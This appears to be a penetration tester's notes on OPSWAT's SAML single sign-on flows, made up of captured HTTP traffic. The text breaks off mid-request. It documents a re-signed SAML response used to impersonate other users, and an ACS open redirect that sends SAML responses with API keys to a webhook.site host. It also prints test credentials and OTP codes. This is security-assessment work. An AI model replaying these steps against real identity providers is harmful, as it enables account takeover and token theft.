Location: https://id.opswat.com/logout?app=appMyOPSWAT0001&SAMLRequest=nZFdS8MwFIb%2FSsn92rRUxMNanRRh0Onchop36RZnoPlozilz%2F96082KI7MKLXOTkPHnOm0xR6NZBbfe2p5XseokUfenWIAwnBeu9AStQIRihJQJtYT1b1JDFHASi9KSsYWeIu8w4b8lubcuieVUwtZv49aZumub6%2BdAv76uue2PRi%2FQYbi1YAEIfYi%2FnBkkYCiWeXU14NknzDb8BngPP3llUhbGVETRSn0QOIUnULrYOD4LirdVJO0a8Fc4VYS2OT8v162zDOU9ZtJICB5KV0yECjEofPVivBV3OM1RCio%2BxFaQhRUdW%2FjnCNDm7%2FMf0GPB59Q%2BTG94IKQhZmRrk2qR5mvLsbq%2BFas90J0N52v366fIb&RelayState=id-rSTLbbb7QwuPBDqqX%7C1739523842%7C489d91d9badf1d31421bd08849c3e46e77138ebe
Access-Control-Allow-Origin: https://my.opswat.com
The server side redirect:
GET /logout?app=appMyOPSWAT0001&SAMLRequest=nZFdS8MwFIb%2FSsn92rRUxMNanRRh0Onchop36RZnoPlozilz%2F96082KI7MKLXOTkPHnOm0xR6NZBbfe2p5XseokUfenWIAwnBeu9AStQIRihJQJtYT1b1JDFHASi9KSsYWeIu8w4b8lubcuieVUwtZv49aZumub6%2BdAv76uue2PRi%2FQYbi1YAEIfYi%2FnBkkYCiWeXU14NknzDb8BngPP3llUhbGVETRSn0QOIUnULrYOD4LirdVJO0a8Fc4VYS2OT8v162zDOU9ZtJICB5KV0yECjEofPVivBV3OM1RCio%2BxFaQhRUdW%2FjnCNDm7%2FMf0GPB59Q%2BTG94IKQhZmRrk2qR5mvLsbq%2BFas90J0N52v366fIb&RelayState=id-rSTLbbb7QwuPBDqqX%7C1739523842%7C489d91d9badf1d31421bd08849c3e46e77138ebe HTTP/2
Host: id.opswat.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70 Safari/537.36
Origin: null
The decoded version of the SAMLRequest
parameter:
<?xml version="1.0" encoding="UTF-8"?>
<samlp:LogoutRequest
Destination="https://id.opswat.com/logout?app=appMyOPSWAT0001"
ID="id-rSTLbbb7QwuPBDqqX" IssueInstant="2025-02-14T09:04:02Z"
Reason="" Version="2.0"
xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion" xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol">
<saml:Issuer Format="urn:oasis:names:tc:SAML:2.0:nameid-format:entity">https://id.opswat.com</saml:Issuer>
<saml:NameID Format="urn:oasis:names:tc:SAML:2.0:nameid-format:persistent">1ns0mn141102@gmail.com</saml:NameID>
</samlp:LogoutRequest>
As we can see, this SAML Request does not have the ACS URL.
Question: Can I exploit XXE with this
SAMLRequest
?Answer: No.
The URL-decoded version of the RelayState
parameter: id-rSTLbbb7QwuPBDqqX|1739523842|489d91d9badf1d31421bd08849c3e46e77138ebe
.
After that, there is one more request sent to the /logout
endpoint but with the returnTo
parameter:
GET /logout?returnTo=https%3A%2F%2Fid.opswat.com%2Flogin%3Fapp%3DappMyOPSWAT0001%26SAMLRequest%3DnZFdS8MwFIb%252FSsn92rRUxMNanRRh0Onchop36RZnoPlozilz%252F96082KI7MKLXOTkPHnOm0xR6NZBbfe2p5XseokUfenWIAwnBeu9AStQIRihJQJtYT1b1JDFHASi9KSsYWeIu8w4b8lubcuieVUwtZv49aZumub6%252BdAv76uue2PRi%252FQYbi1YAEIfYi%252FnBkkYCiWeXU14NknzDb8BngPP3llUhbGVETRSn0QOIUnULrYOD4LirdVJO0a8Fc4VYS2OT8v162zDOU9ZtJICB5KV0yECjEofPVivBV3OM1RCio%252BxFaQhRUdW%252FjnCNDm7%252FMf0GPB59Q%252BTG94IKQhZmRrk2qR5mvLsbq%252BFas90J0N52v366fIb%26RelayState%3Did-rSTLbbb7QwuPBDqqX%257C1739523842%257C489d91d9badf1d31421bd08849c3e46e77138ebe HTTP/2
Host: id-api.opswat.com
Cookie: __opswat-session-login=undefined; __opswat-refresh-login=undefined; __opswat-payload-login=undefined; _ga=GA1.1.401274120.1739505121; __opswat-session-login=REDACTED; __opswat-refresh-login=REDACTED; __opswat-payload-login=REDACTED; __opswat-login=undefined; _ga_54P2EERRN7=GS1.1.1739505121.1.1.1739524620.0.0.0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70 Safari/537.36
Referer: https://id.opswat.com/
As we can see, the cookies of the id-api.opswat.com
domain are sent.
The decoded SAMLRequest
is the same with the previous request.
The response of this request also is a server side redirect, which will redirect to the URL specified in the returnTo
parameter:
HTTP/2 301 Moved Permanently
Content-Type: application/json
Content-Length: 0
Location: https://id.opswat.com/login?app=appMyOPSWAT0001&SAMLRequest=nZFdS8MwFIb%2FSsn92rRUxMNanRRh0Onchop36RZnoPlozilz%2F96082KI7MKLXOTkPHnOm0xR6NZBbfe2p5XseokUfenWIAwnBeu9AStQIRihJQJtYT1b1JDFHASi9KSsYWeIu8w4b8lubcuieVUwtZv49aZumub6%2BdAv76uue2PRi%2FQYbi1YAEIfYi%2FnBkkYCiWeXU14NknzDb8BngPP3llUhbGVETRSn0QOIUnULrYOD4LirdVJO0a8Fc4VYS2OT8v162zDOU9ZtJICB5KV0yECjEofPVivBV3OM1RCio%2BxFaQhRUdW%2FjnCNDm7%2FMf0GPB59Q%2BTG94IKQhZmRrk2qR5mvLsbq%2BFas90J0N52v366fIb&RelayState=id-rSTLbbb7QwuPBDqqX%7C1739523842%7C489d91d9badf1d31421bd08849c3e46e77138ebe
The redirected URL is the login page.
Question: Can I exploit XXE with this
SAMLRequest
?Answer: No, even though the redirected URL is affected.
After that, there is a GET request sent to the /current-user
endpoint with the above SAMLRequest
.
Question: Can I exploit XSS via the logout functionality? Reference: SAML Attacks - HackTricks and How I Discovered XSS that Affects around 20 Uber Subdomains.
Answer: No. Because the application does not have the logout page with redirect link.
Re-Login Flow ℹ️, ❌
As we know, after logging out, we will be redirected to the login page and the SAMLRequest
(LogoutRequest
) does not have the ACS URL. After type in the email, there also is a request sent to the /IDP/lookup
endpoint with the current SAMLRequest
.
Then, when the “Login” button is clicked, there is a request sent to the /login
endpoint:
POST /login HTTP/2
Host: id-api.opswat.com
Cookie: __opswat-session-login=undefined; __opswat-refresh-login=undefined; __opswat-payload-login=undefined; _ga=GA1.1.401274120.1739505121; _ga_54P2EERRN7=GS1.1.1739505121.1.1.1739524620.0.0.0
Content-Length: 562
Content-Type: application/json
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70 Safari/537.36
Origin: https://id.opswat.com
Referer: https://id.opswat.com/
{"SAMLRequest":"nZFdS8MwFIb/Ssn92rRUxMNanRRh0Onchop36RZnoPlozilz/96082KI7MKLXOTkPHnOm0xR6NZBbfe2p5XseokUfenWIAwnBeu9AStQIRihJQJtYT1b1JDFHASi9KSsYWeIu8w4b8lubcuieVUwtZv49aZumub6+dAv76uue2PRi/QYbi1YAEIfYi/nBkkYCiWeXU14NknzDb8BngPP3llUhbGVETRSn0QOIUnULrYOD4LirdVJO0a8Fc4VYS2OT8v162zDOU9ZtJICB5KV0yECjEofPVivBV3OM1RCio+xFaQhRUdW/jnCNDm7/Mf0GPB59Q+TG94IKQhZmRrk2qR5mvLsbq+Fas90J0N52v366fIb","appId":"appMyOPSWAT0001","email":"1ns0mn141102@gmail.com","password":"Admin@123123123","RelayState":"id-rSTLbbb7QwuPBDqqX|1739523842|489d91d9badf1d31421bd08849c3e46e77138ebe"}
The SAMLRequest
remains (still is the LogoutRequest
).
The response of the above request is similar with the normal Login Flow:
HTTP/2 200 OK
Content-Type: application/json
Set-Cookie: __opswat-session-login=[REDACTED]; Max-Age=14400; Path=/; HttpOnly; Secure; SameSite=Lax
Set-Cookie: __opswat-refresh-login=[REDACTED]; Max-Age=14400; Path=/; HttpOnly; Secure; SameSite=Lax
Set-Cookie: __opswat-payload-login=[REDACTED]; Max-Age=14400; Path=/; HttpOnly; Secure; SameSite=Lax
Set-Cookie: __opswat-login=true; Max-Age=14400; Domain=opswat.com; Path=/; Secure; SameSite=Lax
Content-Security-Policy: frame-ancestors 'self' *.opswat.com;
X-Frame-Options: SAMEORIGIN
Access-Control-Allow-Origin: https://id.opswat.com
Access-Control-Allow-Credentials: true
Access-Control-Allow-Headers: userpid, Authorization, Content-Type, Accept, details, orgid
Access-Control-Expose-Headers: x-amzn-trace-id
{"user":{"consent":{"MA":true,"MDC":true,"SKL":true,"Allbound":true,"OCM":true,"MyOPSWAT":true,"OPSWATStore":true,"AS":true,"MDGateway":true,"Impartner":true,"Fusion":true,"MDSS":true,"SB":true},"email":"1ns0mn141102@gmail.com","given_name":"insomnia","isMfaForced":false,"user_id":"ee39dde0-1812-4200-b14d-dc3bb8cf4ea1"},"loginResponse":{"id":"_4c055c21-42e7-4678-acb7-357c470952b5","context":"[BASE64 ENCODED OF THE SAML RESPONSE]","acsMethod":"POST","relayState":"id-rSTLbbb7QwuPBDqqX|1739523842|489d91d9badf1d31421bd08849c3e46e77138ebe"}}
The only difference between this response body and the response body in the normal login flow is the missing entityEndpoint
field.
After that, a request is sent to the /saml2/login
endpoint and its response is similar with the normal login flow (which is a server side redirect):
HTTP/2 302 Found
Date: Fri, 14 Feb 2025 10:07:42 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 0
Location: https://id.opswat.com/login?app=appMyOPSWAT0001&SAMLRequest=fZJbT4NAEIX%2FCtl3YME2mk3BUOulSZtiQRt9W%2BnabgK7687Qi79eoBprYnjYh5k5Z%2FLNyY6AV6VhSY1btRQftQB0DlWpgLWDiNRWMc1BAlO8EsCwYFkyn7HQo4wDCItSK3JmMf0eYzXqQpfEmU4iItfuEA8v6v7iVn5e7R73q3xMnGdhodkakcbQ6ABqMVWAXGHTouHQpaEbDPKAMnrJBuErcSYNtlQcO9cW0QDzfbn2tIE9R6%2FQlV%2FqjVTX3JioefPjIs1WSU4pDYhzp20hugQigrYWxEm%2FKcdSraXa9J%2F0dhIBe8jz1E0XWU6c5CeaG62groTNhN3JQjwtZ7%2BA3Mhd4FXHc8w2wtDnBfgkHrUF6%2B63LWTFsZ%2Bk7TSRvndSJhRKPJL43zxG%2Ftny%2BFT9%2FQbxFw%3D%3D&RelayState=%2F&SigAlg=http%3A%2F%2Fwww.w3.org%2F2001%2F04%2Fxmldsig-more%23rsa-sha256&Signature=ruomORXZcTG%2FPp4evZSMYJVGu0w%2BeYkd%2BT3aObSI1Rlw%2Fleq9n%2FmGqaQnPan7vB03Gpy9cdrWp%2FQVCtCZETN5k56YqOEU4oalK7bvbTqPc%2B3uG6NGeY8qZMjczYGkWKWOkbunRw6uaE13br8Yx%2BptpHQ1lC%2FcyfVqXhppP2U62xpDbdQ1R5WvlgDG7e3RqJZZn43X22WSpB13VbTQKlpq76kZ5PYsFbOeEHvLgqbMe61eGufEnff3zysCcYxG%2B2zW7cnIP%2BpNK21Z3S4vB6VnNIc%2FpIGu1YnzSHYXxBQxLeGtHtEFnEwBxeIfi5Fpyd2vUEk2LgMgBPQgPtuFvPqnw%3D%3D
However, at this time, the SAMLRequest
is changed into this:
<samlp:AuthnRequest xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion" xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol" ID="id-5txYnG3Eiz8vQwWTB" Version="2.0" IssueInstant="2025-02-14T10:07:42Z" Destination="https://id.opswat.com/login?app=appMyOPSWAT0001" ForceAuthn="true" ProtocolBinding="urn:oasis:names:tc:SAML:2.0:bindings:HTTP-POST" AssertionConsumerServiceURL="https://apiv1.my.opswat.com/saml2/acs/">
<saml:Issuer Format="urn:oasis:names:tc:SAML:2.0:nameid-format:entity">
https://id.opswat.com
</saml:Issuer>
</samlp:AuthnRequest>
Then, two GET requests are sent to the /login
endpoint with the new SAMLRequest
, which is similar to the normal login flow.
The subsequent request is sent to the /current-user
endpoint with the new SAMLRequest
:
GET /current-user?SAMLRequest=fZJbT4NAEIX%2FCtl3YME2mk3BUOulSZtiQRt9W%2BnabgK7687Qi79eoBprYnjYh5k5Z%2FLNyY6AV6VhSY1btRQftQB0DlWpgLWDiNRWMc1BAlO8EsCwYFkyn7HQo4wDCItSK3JmMf0eYzXqQpfEmU4iItfuEA8v6v7iVn5e7R73q3xMnGdhodkakcbQ6ABqMVWAXGHTouHQpaEbDPKAMnrJBuErcSYNtlQcO9cW0QDzfbn2tIE9R6%2FQlV%2FqjVTX3JioefPjIs1WSU4pDYhzp20hugQigrYWxEm%2FKcdSraXa9J%2F0dhIBe8jz1E0XWU6c5CeaG62groTNhN3JQjwtZ7%2BA3Mhd4FXHc8w2wtDnBfgkHrUF6%2B63LWTFsZ%2Bk7TSRvndSJhRKPJL43zxG%2Ftny%2BFT9%2FQbxFw%3D%3D&appId=appMyOPSWAT0001&RelayState=%2F HTTP/2
Host: id-api.opswat.com
This time, the response body of the request sent to the /current-user
endpoint is different from the response body of the request sent to the /current-user
endpoint in the normal login flow.
Specifically, the response body is similar with the request sent to the /login
endpoint. However, there are some differences in the SAMLResponse
, which mainly caused by the following change in the Subject
attribute.
Important
To have the
SAMLResponse
in the response body, the request sent to the/current-user
endpoint must have the following cookies:
__opswat-session-login
__opswat-refresh-login
__opswat-payload-login
Those cookies are encrypted.
With those cookies, we can even login into the
my.opswat.com
domain from themy-beta.opswat.com
without typing the credentials. The reason for this is because both of the domains useid-api.opswat.com
for retrieving the sameSAMLResponse
from the/current-user
endpoint.
Question: Can I conduct CSRF attack by using the above cookies?
Answer: No.
Because two things:
- Those cookies are only used by the
GET /current-user
request (they are included in some other requests but not be used) and after being used, they are set toundefined
.- If we think about CORS epxloits, we can not read the returned
SAMLResponse
in the response of the request due to the fixed ACAO header:Access-Control-Allow-Origin: https://id.opswat.com
.
Finally, there are 2 requests sent to the /saml2/acs
and the /auth-successfully
endpoints, which is the same with the normal login flow.
The differences between requests sent in normal login flow and re-login flow:
Summary
The requests sent in the login-related flows are similar and cyclic, which is in the following order:
POST /idp/lookup
POST /login
GET /saml2/login
GET /login
GET /current-user
← Logout redirects to here and the next request will be the number 1.After all of the above requests, there will be 2 requests sent to
POST /saml2/acs
andGET /auth-successfully
.
SAML Response Forging 🪲
If I remove the signature in the SAML Response sent to the ACS URL, the response will be different:
HTTP/2 302 Found
Date: Thu, 13 Feb 2025 03:04:49 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 0
Location: https://my.opswat.com
Set-Cookie: AWSALB=HVe4dL21qMHT3EbTvfrO9fK2uzTgTEmW6jwBkSg6Jlt3kD5vTpgh3v6n6JNHW4vJuYTKdeFlvydd8T+JhAcbf+lMXjrdlX9dPeEym899BynKqW07iUBEVOw4uEEj; Expires=Thu, 20 Feb 2025 03:04:48 GMT; Path=/
Set-Cookie: AWSALBCORS=HVe4dL21qMHT3EbTvfrO9fK2uzTgTEmW6jwBkSg6Jlt3kD5vTpgh3v6n6JNHW4vJuYTKdeFlvydd8T+JhAcbf+lMXjrdlX9dPeEym899BynKqW07iUBEVOw4uEEj; Expires=Thu, 20 Feb 2025 03:04:48 GMT; Path=/; SameSite=None; Secure
Vary: Cookie, Origin
X-Frame-Options: DENY
X-Content-Type-Options: nosniff
Referrer-Policy: same-origin
Cross-Origin-Opener-Policy: same-origin
Set-Cookie: saml_session=kbs7bo87gjy3osdpve6z22ghwm0jhkgr; HttpOnly; Path=/; SameSite=None; Secure
However, when I resign the assertions and the message, the response has tokens:
Bug: SAML Login Bypass
With this ability, I can impersonate another user by changing the email addresses in the SAML response. Additionally, when log in to another user, I also join his/her organizations.
SAML Request Open Redirect ❌
I can not reproduce the open redirect bug as mentioned here: MyOpswat - SAML Authentication Penetration Testing - 2024.04 - Security Operations - Confluence with the following scenarios (which applies for the /login
endpoint):
- Change ACS:
- To a different domain such as
https://www.google.com
: can not log in. - To a different subdomain, such as
https://apiv2.my.opswat.com
instead ofhttps://apiv1.my.opswat.com
: can not log in.
- To a different domain such as
- Remove the signature:
- Without changing the ACS: still can log in.
- With changed ACS: can not log in.
As we can see, the signature has no impact on the validation of the SAML Request (especially the ACS).
Open Redirect via Salesforce SAML Request 🪲
To login into Salesforce with OPSWAT identity, open the “Other External Resources” modal in the /support
page and click “Request Support (original page)”:
The Salesforce login page, accessed via the https://opswat2--full.sandbox.my.site.com/test/login?sc=0LE4X000000k9dd
link:
Choose “Log in with OPSWAT cognito” and observe the following request:
GET /test/saml/authn-request.jsp?saml_request_id=_2CAAAAZW4-4ghMDAwMDAwMDAwMDAwMDAwAAAA_gq39Iwy-oC-vU-q9M2_FysXwDlDpKsFctb_23m8mOdstV8WmkZWYgd1Ygyv3FmcVmmZ6uxPIkJeXiJnRFzMr8049dM3rtYREq-jjxn8ldgBCsFy_fCa4Gaz4eWPK0BUBb3cm8Q3G_f9H-p9QoYLcy0Z9vtQ505uDa-20q-1A8T0KZf75-RGCn_QWynyENQoVnTAZWA_BHEj0a8siA1uRK6at5T2RrB2owNRcmcqyyZ_udx3HviBqo4pAgpmIja6tg&saml_acs=https%3A%2F%2Fopswat2--full.sandbox.my.site.com%2Ftest%2Flogin%3Fsc%3D0LE4X000000k9dd&saml_binding_type=HttpRedirect&Issuer=https%3A%2F%2Fid.opswat.com&samlSsoConfig=0LE4X000000k9dd&RelayState=%2Ftest%2F HTTP/2
Host: opswat2--full.sandbox.my.site.com
As we can see, there is a parameter named saml_acs
, which is the ACS URL. Try to change this value into https://www.google.com
and intercept the response:
HTTP/2 302 Found
Content-Type: text/html;charset=UTF-8
Content-Length: 0
Location: https://id.opswat.com/login?app=appSF0001&SAMLRequest=fZJdc6owEIb%2FCpN7NHzoAabogJZqra0iauWGSSGlWJIACSL99aUfzvScOdPM7EVm39032X2uxmeSSydc8YxRGyg9CCRMY5ZkNLXBNvBkA4xHVxyRXC0spxYv1MdljbmQukLKra%2BMDeqKWgzxjFsUEcwtEVsbZ3lnqT1oFRUTLGY5kBzOcSU6qwmjvCa42uDqlMV469%2FZ4EWIglv9ftM0vZSxNMe9mBEgTTu3jCLx%2BcKLKEt6rOANEh%2Bafs7SjI5RUdhdbDwIoQKk%2BdQGkTpxuhPudVlPX5ZTp%2Fk3PtJRWmrmvGllNpFPW7k0l2rktfyxmebTYsG9WDxFqkYM8pBwsTP25DXcH9JEOaTtSfNIvCMkHNbn1fz1Fj9mt9T33paVAXUzWWqVOPjXpXw8nqmRJ6k74V4bPU%2BQfoPedLxfLaC7dZ%2B0mBhr7SZ6NmdyYa7Z4S5uYWiexHoAB%2FUUySosZcUxArgIn%2F8MZP9mQqP1vqXt9f2a7WjQfdGJ3Nn1ESKDZ45S%2B4shEoNA9StXZc29H5O4bNswqpOzNjtlbsn0wkkLMj%2BioUi7aXFe4znlAlFhAxWqAxmqsqoEimYNTEsf9oaKFgJp9b1MN6NfkPy2%2BacvEbdmQbCSVw%2BbAEi7C2ydAHyjZX26Vz%2BZ%2Br0xuoAERv8l4qr%2Fs%2B%2Fo%2B%2Fo3waN3&RelayState=%2Ftest%2F&SigAlg=http%3A%2F%2Fwww.w3.org%2F2001%2F04%2Fxmldsig-more%23rsa-sha256&Signature=HCLGo%2BUdb9uqpv0jX775EbO3ZNspUdo8iTiNXMuIjAVEPH8HsJfIN%2Bg21pTMvP58kJ%2BTlM9TYf%2BafAwC6LUGkK4d8Jcl%2Bz%2FyQUp0UKjGGu2cGQETpIN1Q0slkNkM6AEbjsOD3IU9d9mB%2BH%2Fr8O55bSMcPpx%2Bl2BhCuemeeL8z31h3N5lgLhIt2guzNLw9NFHd%2BIj61RfBKj6q6DsGQ4KS%2BXhyQm7OMY%2FKIGR5UhJDs7y%2FdLcQnfWUB2%2FoShs2Jc8CTM9B90fTtHsxM22Hxj9OulzuAyLkUVsSr6GB%2FvtU%2BaRltaOag8J3yJ3zKb5vb49aEHqIMgDkE7%2BUhDVFQQeUw%3D%3D
The response is a server side redirect to the https://id.opswat.com/login
endpoint with parameters same as when we log in to My OPSWAT:
app
isappSF0001
SAMLRequest
is decoded into this:
<?xml version="1.0" encoding="UTF-8"?>
<saml2p:AuthnRequest xmlns:saml2p="urn:oasis:names:tc:SAML:2.0:protocol" AssertionConsumerServiceURL="https://www.google.com" Destination="https://id.opswat.com/login?app=appSF0001" ID="_2CAAAAZW4-4ghMDAwMDAwMDAwMDAwMDAwAAAA_gq39Iwy-oC-vU-q9M2_FysXwDlDpKsFctb_23m8mOdstV8WmkZWYgd1Ygyv3FmcVmmZ6uxPIkJeXiJnRFzMr8049dM3rtYREq-jjxn8ldgBCsFy_fCa4Gaz4eWPK0BUBb3cm8Q3G_f9H-p9QoYLcy0Z9vtQ505uDa-20q-1A8T0KZf75-RGCn_QWynyENQoVnTAZWA_BHEj0a8siA1uRK6at5T2RrB2owNRcmcqyyZ_udx3HviBqo4pAgpmIja6tg" IssueInstant="2025-02-21T13:59:46.613Z" ProtocolBinding="urn:oasis:names:tc:SAML:2.0:bindings:HTTP-POST" Version="2.0">
<saml2:Issuer xmlns:saml2="urn:oasis:names:tc:SAML:2.0:assertion">
https://id.opswat.com
</saml2:Issuer>
</saml2p:AuthnRequest>
The ACS URL is changed into https://www.google.com
.
As I already logged into the OPSWAT account in the current browser so the application does not require for typing the credentials. After that, the application is redirected into https://www.google.com
like this:
This indicates that we can exploit open redirect bug.
Try to open a new browser that does not have any cookies or local storage items. Access the login page of Salesforce again via the https://opswat2--full.sandbox.my.site.com/test/login?sc=0LE4X000000k9dd
link. This time, we intercept the login request of Salesforce and change the ACS URL into https://webhook.site/8dd66951-0e00-4a70-bfce-8cb2b4ab723a
(a webhook used for receiving incoming requests).
Intercept the POST /login
request sent to id-api.opswat.com
after typing the credentials:
POST /login HTTP/2
Host: id-api.opswat.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:135.0) Gecko/20100101 Firefox/135.0
Content-Type: application/json
Content-Length: 840
Origin: https://id.opswat.com
Referer: https://id.opswat.com/
{"SAMLRequest":"fZJbc6IwFMe/CpN3NEQQZYodQF2pqAhoW186ASKgkCAJ9vLpl+1lpruz08ych5zL/5zk/G5uX6pSupKGF4yaQOlBIBGasLSgmQl20VwegdvJDcdViWrDakVOA3JpCRdSV0i58RExQdtQg2FecIPiinBDJEZorTwD9aBRN0ywhJVAsjgnjehaOYzytiJNSJprkZBd4JkgF6LmRr//TOKcsXOPF4L0R2k6HI41RYYEQlnFOpTjY0LkURKjWMWxjgYYSNNuoIJi8f6IL50i7bGaP2PRS1jVL1lW0Ftc12Zn4RxCqADJnZrgCTlWdw73mq2XzWpqPf9rf8JPPFIzbXNIvNNOCX7p26NvnXcisuA2ux7WmLxZc+WU772zng/FbLx0gjQaMjSolPtgJmRE2gjzdFG6Ybuf3p3mM9b4y42zrx+TWRzk84AwfC1KgkYLJdw323ZRu4/r1UUv7WyRI+5oMt3lDwES1d3sOE9a53K+BMw9LPMXm4/V2XSk5PQ1zy6vKkvchU2earoZr93Fzn/ba9Vopb7YR2v4mNrBQV158mDLBw1eM//hlyfDoYOhf9yuBFm68BqFxd0588Z54Ci8PnE9iK3utzhviUu5wFSYAEGkyRDJSIkU1YBjQ9N7ne8AJP9z33ZBPzj6CY74I4kbiyjyZX8TRkDaf/HYJYBP+oz37s137H4Wxl+sgcl/ibjpf9edfF7/hnzyGw==","appId":"appSF0001","email":"quan.m.le@opswat.com","password":"Admin@123123123","RelayState":"/test/"}
Its response has the following field:
"entityEndpoint":"https://webhook.site/8dd66951-0e00-4a70-bfce-8cb2b4ab723a"
Which indicates that the login flow will be redirected to the webhook URL as we want.
The webhook server receives a request that has the SAML Response value:
The decoded SAML Response has sensitive data such as API keys:
Question: Can I takeover the account by stealing the SAMLResponse and replay the login request?
Login with OTP ℹ️, ❌
When MFA is enabled for a user, there are two login requests for that user. The first one is the same as the one in the Login Flow:
POST /login HTTP/2
Host: id-api.opswat.com
Cookie: _ga_CK6V3Y67TW=GS1.1.1737363856.1.0.1737364584.0.0.0; _ga=GA1.1.1596200424.1737363856; _ga_54P2EERRN7=GS1.1.1739873653.1.1.1739873730.0.0.0; __opswat-session-login=undefined; __opswat-refresh-login=undefined; __opswat-payload-login=undefined
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:135.0) Gecko/20100101 Firefox/135.0
Content-Type: application/json
Content-Length: 556
Origin: https://id.opswat.com
Referer: https://id.opswat.com/
{"SAMLRequest":"nZHNasMwEIRfxehuWzH9gSV2azAFQ9KW2KSlN+EotcCWFO0aN336yk4PoS059KCDdveb2ZGWKPrOwsq8m4E28jBIpOCj7zTC1EnZ4DQYgQpBi14iUANVvl5BEnEQiNKRMpqdIfYyY50h05iOBWWRMrULP8fK7luR19s6b9pXN7JgKx161ZR5wM8hDrLUSEKTL/HkOuRJmNzU/BYWHJKrNxYUfm2lBc1US2QR4ljtImNxFBQ1po+7OeKdsDb1Z318eq5e8ppzvmDBRgqcSJYtpwgwW7rgwbhe0OU8U8Wn2M+jIDUpOrLszxWW8Zn4t9Ojx8viH052eiMkb8iywyB01EedvP9ldtLPTrcf/5x9AQ==","appId":"appMyOPSWAT0001","email":"quan.m.le@opswat.com","password":"Admin@123123123","RelayState":"id-zwSpfhaATVTAchXrw|1740553824|734623efdb3172b664285ee69fe21203deacd3cb"}
However, its response body is different:
{
"user" : {
"challengeName" : "TOTP"
}
}
After receiving this response, the UI requires the OTP code. If the OTP code is provided, there is another login request whose request body is similar to the first one
{
"SAMLRequest" : "nZHNasMwEIRfxehuWzH9gSV2azAFQ9KW2KSlN+EotcCWFO0aN336yk4PoS059KCDdveb2ZGWKPrOwsq8m4E28jBIpOCj7zTC1EnZ4DQYgQpBi14iUANVvl5BEnEQiNKRMpqdIfYyY50h05iOBWWRMrULP8fK7luR19s6b9pXN7JgKx161ZR5wM8hDrLUSEKTL/HkOuRJmNzU/BYWHJKrNxYUfm2lBc1US2QR4ljtImNxFBQ1po+7OeKdsDb1Z318eq5e8ppzvmDBRgqcSJYtpwgwW7rgwbhe0OU8U8Wn2M+jIDUpOrLszxWW8Zn4t9Ojx8viH052eiMkb8iywyB01EedvP9ldtLPTrcf/5x9AQ==",
"appId" : "appMyOPSWAT0001",
"email" : "quan.m.le@opswat.com",
"password" : "Admin@123123123",
"totp" : "459706",
"RelayState" : "id-zwSpfhaATVTAchXrw|1740553824|734623efdb3172b664285ee69fe21203deacd3cb"
}
As we can see, there is a new field named totp
.
At this time, I have tested some scenarios:
-
The OTP is incorrect. Response:
{ "error" : { "statusCode" : 400, "code" : 40052, "name" : "codeMismatchException" } }
-
Omit the password. Response:
{ "error" : { "statusCode" : 500, "code" : 50000, "name" : "internalError" } }
-
Invalid password. Response:
{ "error" : { "statusCode" : 401, "code" : 40100, "name" : "notAuthorizedException", "remains" : 2 } }
-
Correct password but expired OTP:
{ "error" : { "statusCode" : 400, "code" : 40051, "name" : "expiredCodeException" } }
-
This request also has rate-limiting:
{ "error" : { "statusCode" : 400, "code" : 40001, "name" : "captchaError" } }
I have tried to forge the response for bypassing the OTP.
Question: Can I change the response body of the second login request for bypassing OTP?
Answer: No.
At the beginning, I replace the whole response body of the second login request for bypassing the OTP. This works because when the POST request sent to the
/saml2/acs
endpoint has no server-side redirect (meaning that I fail in the authentication), the login flow restarts. In the login flow, as mentioned, there is a request sent to/current-user
endpoint with some cookies. The cookies I have, which are set by the fake response of the second login request, are still valid at the time the exploitation is conducted. Therefore, the request sent to the/current-user
has the valid SAML Response in the response body. Then, the request sent to the/saml2/acs
endpoint is valid and we can login.However, if:
- I only replace the status code to
200 OK
: the client-side does nothing.- I replace the status code and the response body: the request sent to
/saml2/acs
does not have token in its response as the/current-user
request has no cookies.- I replace the status code, the cookies with OLD cookies and the response body: the request sent to the
/saml2/acs
does not have token in its response as the/current-user
request has invalid cookies.
Login with Recovery Codes ℹ️
In the case we want to login with recovery codes instead of OTP, there is an option for this:
The request used for this is also the login request but with a new field named recovery
:
{
"SAMLRequest" : "fZJdT8IwFIb/ytL7fdAgMQ2bmeIHBsLChkbvyqjQZP2w5wzcv3cbEjExXPTinJ735OmTjoGryrK0xp1eis9aAHpfqtLAuouY1E4zw0EC01wJYFiyPJ3PGA0ixgGEQ2k0OYvYyxnrDJrSVMSbTmIiN/56+LaSz6vFY3O/PBx20wnxXoSDdmtM2kA7B1CLqQbkGttWRK/8iPp0VETXjFI2HL0Tb9JiS82xT+0QLbAwlJvAWDhwDEqjwspspb7h1sbtmTeLLH9NiyiKBsR7MK4UvYGYoKsF8bIfylupN1JvLz9pfRwC9lQUmZ8t8oJ46UnNndFQK+Fy4fayFKvl7BeQW7kfBKrx1wL5OWvnkYa8hJAk465gvQTXkSqOl3G6Tuv1ox9lQqPEhiT/ShmHZ8uTY/X3LyTf",
"appId" : "appMyOPSWAT0001",
"email" : "quan.m.le@opswat.com",
"password" : "Admin@123123123",
"recovery" : "FPX5V-P0GHR",
"RelayState" : "/"
}
The exploitation scenarios have the same results with Login with OTP.
Reset Password ℹ️, ❌
The request:
POST /reset HTTP/2
Host: id-api.opswat.com
Cookie: _ga=GA1.1.2058617255.1737689180; _clck=tpsiu8%7C2%7Cft5%7C0%7C1850; _ga_7V2H8MYDP4=GS1.1.1738653657.2.1.1738653658.0.0.0; __opswat-session-login=undefined; __opswat-refresh-login=undefined; __opswat-payload-login=undefined; _ga_54P2EERRN7=GS1.1.1739417684.1.1.1739440282.0.0.0
Content-Length: 556
Content-Type: application/json
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70 Safari/537.36
